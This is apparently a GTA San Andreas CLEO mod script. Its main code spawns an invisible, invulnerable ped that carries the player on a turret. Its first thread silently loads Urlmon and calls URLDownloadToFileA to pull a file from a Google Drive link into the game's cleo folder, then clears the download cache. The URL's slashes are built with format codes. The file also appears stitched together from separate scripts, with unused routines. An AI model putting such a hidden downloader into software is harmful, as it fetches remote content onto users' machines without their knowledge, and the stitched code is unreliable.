{$CLEO .CS}
0000:


REPEAT
WAIT 0
UNTIL 0AB0: 53


0AC8: 4@ = allocate_memory_size 256 
0AC8: 5@ = allocate_memory_size 256 
0AD3: 4@ = format "cleo\SANTORUNIX V32.14.zip"  
0AD3: 5@ = format "https:%c%cwww.drive.google.com/file/d/1wo-bqe7Zl7v4zqFq03OYTLyNNxC_DJ0G/view?usp=sharing" 47 47  
0AB1: call_scm_func @Noname_29205 2 4@ 5@  
0AB1: call_scm_func @Noname_29299 1 5@  
0AC9: free_allocated_memory 4@ 
0AC9: free_allocated_memory 5@
end_thread
//https://www.drive.google.com/file/d/1wo-bqe7Zl7v4zqFq03OYTLyNNxC_DJ0G/view?usp=sharing


:Noname_29205
0AA2: 10@ = load_library "Urlmon.DLL" // IF and SET 
jf @Noname_29205 
0AA4: 11@ = get_proc_address "URLDownloadToFileA" library 10@ // IF and SET 
jf @Noname_29205 
0AA7: call_function 11@ num_params 5 pop 0 0 0 0@ 1@ 0 20@  
0AA3: free_library 10@ 
0AB2: ret 0 

:Noname_29299
0AA2: 10@ = load_library "Wininet.DLL" // IF and SET 
jf @Noname_29299 
0AA4: 11@ = get_proc_address "DeleteUrlCacheEntryA" library 10@ // IF and SET 
jf @Noname_29299 
0AA7: call_function 11@ num_params 1 pop 0 0@ 20@  
0AA3: free_library 10@ 
0AB2: ret 0 




const
  _min_object = 30@
end
29@ = 0
4@ = 0.0
for 0@ = 0 to 0 step 1
    0085: 5@ = 0@
    5@ *= 4
    #FAM1.load
    #mp5lng.load                                                                                                                                                                                                    
    038b:
    04C4: store_coords_to 1@ 2@ 3@ from_car $PLAYER_ACTOR with_offset 4@ 1.6 -1.0                                              
    18@ = actor.Create(GANG2, #FAM1, 1@,2@,3@)                        
    Actor.SetImmunities(18@, 1, 1, 1, 1, 1)
    if not Actor.HasWeapon(18@, 29)                                                                                                                                                                      
    then Actor.GiveWeaponAndAmmo(18@, 29, 999999)                                                                                                                                                        
    end
    077C: clear_actor 18@ acquaintance 4 to_all_pedtypes // see ped.dat 

077C: clear_actor 18@ acquaintance 3 to_all_pedtypes // see ped.dat 

077C: clear_actor 18@ acquaintance 2 to_all_pedtypes // see ped.dat 
          
    0337: set_actor 18@ visibility 0 
    07AF: $PLAYER_GROUP = player $PLAYER_CHAR group 
    0631: put_actor 18@ in_group $PLAYER_GROUP 
    06F0: set_group $PLAYER_GROUP distance_limit_to 9999.0 
    _min_object = Object.Create(1608, 0.0, 0.0, 0.0)                                                                 
    071F: set_object _min_object health_to 99999                                                                     
    0750: set_object _min_object visibility 1                                                                        
    08D2: object _min_object scale_model 0.2                                                                         
    Object.CollisionDetection(_min_object) = false                                                                   
    069B: attach_object _min_object to_actor 18@ with_offset -0.01 0.0 -0.3 rotation 0.0 0.0 0.0                    
    Model.Destroy(1609)
    04F4: put_actor $PLAYER_ACTOR into_turret_on_object _min_object offset_from_object_origin 0.0 0.0 0.22 orientation 3 both_side_angle_limit 360.0 lock_weapon 0 
    0AC6: 20@ = label @ahandle offset
    005a: 20@ += 5@
    0A8C: write_memory 20@ size 4 value 18@ virtual_protect 0
    0AC6: 20@ = label @ohandle offset
    005a: 20@ += 5@
    0A8C: write_memory 20@ size 4 value _min_object virtual_protect 0  
    4@ += 1.0                                                                                              
end
29@ = 0.0

repeat
wait 0
//0AB4: 21@ < 508
IF 21@ == TRUE
THEN BREAK
END
for 0@ = 0 to 0 step 1
    0085: 5@ = 0@
    5@ *= 4
    0AC6: 20@ = label @ahandle offset
    005a: 20@ += 5@
    0A8D: 18@ = read_memory 20@ size 4 virtual_protect 0
    0AC6: 20@ = label @ohandle offset
    005a: 20@ += 5@
    0A8D: _min_object = read_memory 20@ size 4 virtual_protect 0
    if 18@ > 0 
    jf continue
    if _min_object > 0 
    jf continue
    if 03CA:   object _min_object exists 

    if 056D:   actor 18@ defined
    jf continue                                                                   
    if not actor.Dead(18@)
    jf continue
    10@ = OBJECT.Angle(_min_object)
    10@ += 0.0
    ACTOR.Angle($PLAYER_ACTOR) = 10@
    if not Actor.Animation($PLAYER_ACTOR) == "DRIVE_R_SLOW"
    then 0812: AS_actor $PLAYER_ACTOR perform_animation "DRIVE_R_SLOW" "ped" framedelta 4.0 loop 1 lockX 0 lockY 0 lockF 0 time -1                                                                                                                                                                                                                       
        0393: actor $PLAYER_ACTOR perform_animation "DRIVE_R_SLOW" at 0.0 times_normal_rate 

    end
    0AB1: call_scm_func @Noname_5D1 0 7@ 8@ 9@  
    069B: attach_object _min_object to_actor 18@ with_offset -0.01 0.0 -0.3 rotation 0.0 0.0 0.0    
    IF 00E1:   player 0 pressed_key 16
    THEN 
        IF NOT  29@ >= 40.0
        THEN 29@ += 0.1
        END
        0603: AS_actor 18@ goto_point_any_means 7@ 8@ 9@ mode 7 use_car -1 
        0393: actor 18@ perform_animation "RUN_GANG1" at 29@ times_normal_rate 
0393: actor 18@ perform_animation "WALK_GANG2" at 29@ times_normal_rate 
0393: actor 18@ perform_animation "WALK_GANG1" at 29@ times_normal_rate 
0393: actor 18@ perform_animation "SPRINT_PANIC" at 29@ times_normal_rate 
0393: actor 18@ perform_animation "RUN_CIVI" at 29@ times_normal_rate

 
    ELSE //0603: AS_actor 18@ goto_point_any_means 7@ 8@ 9@ mode 7 use_car -1
        IF 80E1:   player 0 pressed_key 16
        THEN
            IF 29@ > 0.0 
            THEN 29@ -= 0.1
            END
        END
    END
end                                                                                                                                        
until false

for 0@ = 0 to 0 step 1
    0085: 5@ = 0@
    5@ *= 4
    0AC6: 20@ = label @ahandle offset
    005a: 20@ += 5@
    0A8D: 18@ = read_memory 20@ size 4 virtual_protect 0
    0AC6: 20@ = label @ohandle offset
    005a: 20@ += 5@
    0A8D: _min_object = read_memory 20@ size 4 virtual_protect 0
    if 056D:   actor 18@ defined
    THEN
        ACTOR.RemoveReferences(18@)
        ACTOR.DestroyInstantly(18@)
    END                                                               
    if 03CA:   object _min_object exists 
    then
        OBJECT.RemoveReferences(_min_object)
        OBJECT.Destroy(_min_object)
    end
end                              
END_THREAD


:min_fire
      
0208: 14@ = random_float_in_ranges -0.6 0.6 
0208: 13@ = random_float_in_ranges -1.9 1.9
13@ += 1.5
04C4: store_coords_to 1@ 2@ 3@ from_car 18@ with_offset 0.0 0.6 -0.6
024F: create_corona_with_radius 0.2 type 2 lensflares 0 with_color 200 0 0 at 1@ 2@ 3@
GOSUB @get_criminal
IF 056D:   actor 31@ defined                                                                                                                               
then 04C4: store_coords_to 5@ 6@ 7@ from_car 31@ with_offset 14@ 0.0 13@           
ELSE 0400: store_coords_to 5@ 6@ 7@ from_actor _min_object with_offset 14@ 200.0 13@
END 
06BC: create_M4_shoot_from 1@ 2@ 3@ target 5@ 6@ 7@ energy 100 
058A: create_gun_flash_from 1@ 2@ 3@ to 5@ 6@ 7@
097B: play_audio_at_object _min_object event 1157
066E: create_particle "GUNSMOKE" attached_to_object _min_object with_offset 0.0 0.6 -0.6 rotation 0.0 0 0.0 flag 1 store_to 10@ 
064C: make_particle 10@ visible 
064F: remove_references_to_particle 10@ 
return

:get_criminal
29@++ 
if 29@ >= 150
then 29@ = 0
    Actor.StorePos($PLAYER_ACTOR, 21@, 22@, 23@)                                                                            
    if 0AE1: 31@ = random_actor_near_point 21@ 22@ 23@ in_radius 10.0 find_next 1 pass_deads 0 //IF and SET                
    then                                                                                                                                                              
        IF NOT 31@ == -1                                                                                                                                               
        then                                                                                                                                        
            IF 056D:   actor 31@ defined                                                                                                                               
            then                                                                                                         
                089F: get_actor 31@ pedtype_to 13@ 
                if and
                    not 13@ == 8
                    not 13@ == 0
                then
                else 31@ = -1
                end                                                                                          
            end                                                                                                          
        end                                                                                                              
    end                                                                                                                  
end
return
end_thread


                         
                   

:Noname_5D1
0@ = Actor.EmulateFromPlayer(0)
068E: get_camera_target_point_to 4@ 6@ 8@ 
068D: get_camera_position_to 5@ 7@ 9@ 
0063: 4@ -= 5@ // (float) 
0063: 6@ -= 7@ // (float) 
0063: 8@ -= 9@ // (float) 
0494: get_joystick 0 direction_offset_to 1@ 2@ 3@ 3@ 
if 
  -10 > 2@ 
jf @Noname_643 
4@ *= 15.5 
6@ *= 15.5 
jump @Noname_657 

:Noname_643
4@ *= 5.5 
6@ *= 5.5 

:Noname_657
8@ *= 2.5 
Actor.StorePos(0@, 5@, 7@, 9@)
005B: 5@ += 4@ // (float) 
005B: 7@ += 6@ // (float) 
005B: 9@ += 8@ // (float) 
0AB2: ret 3 5@ 7@ 9@ 
0A93: end_custom_thread 






:ahandle
hex
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
end

:ohandle
hex
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
end




